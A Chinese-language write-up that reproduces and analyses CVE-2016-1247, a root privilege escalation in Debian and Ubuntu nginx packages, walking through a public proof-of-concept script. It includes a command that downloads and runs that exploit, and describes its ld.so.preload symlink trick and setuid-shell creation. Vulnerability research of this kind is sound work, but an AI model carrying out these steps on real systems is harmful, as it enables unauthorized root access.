CVE-2016-1247分析

针对CVE-2016-1247漏洞进行复现、研究分析原理。
success.png

前言

Nginx是一个高性能的HTTP和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。

漏洞简述

Debian、Ubuntu发行版的Nginx在新建日志目录的时,使用了不安全的权限,因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。

漏洞分析

复现过程

查看用户ID
id.png
查看Nginx版本dpkg -l | grep -i nginx
nginx version.png
下载poc脚本

1
wget https://legalhackers.com/exploits/CVE-2016-1247/nginxed-root.sh

wget.png
修改poc权限,并执行poc

1
2
chmod 777 nginxed-root.sh
./nginxed-root.sh /var/log/nginx/error.log

run.png
查看现在用户ID
final id.png

POC分析

查看Nginx日志目录权限,发现为www-data,因此该漏洞需要使用www-data用户进行
www-data.png
查看Nginx日志目录下的文件权限,发现为root权限,通过符号链接将替换日志文件实现提权目的
root.png
根据POC进行利用分析,在145行使用dlsym获取euid
在147、148行修改/tmp/nginxrootsh文件的所有者和权限
在149行删除/etc/ld.so.preload文件
code.png
在154行编译生成的c文件,在其后判断是否编译成功
make.png
在162行将/bin/bash拷贝到/tmp/nginxrootsh
copy.png
在172行删除nginx的错误日志文件并进行符号链接,将/etc/ld.so.preload(目标)软链接到nginx的错误日志(这步骤实现了提权)
delete.png
在187行将/etc/ld.so.preload内容覆盖为/tmp/privesclib.so(加载/tmp/privesclib.so共享库)
copy.png
在199行将/etc/ld.so.preload权限设置为755
chmod.png

注意事项

root用户执行logrotate -f /etc/logrotate.d/nginx,未获取到root权限情况下重启nginx服务并删除相关文件。
root command.png

修复建议

升级Nginx版本。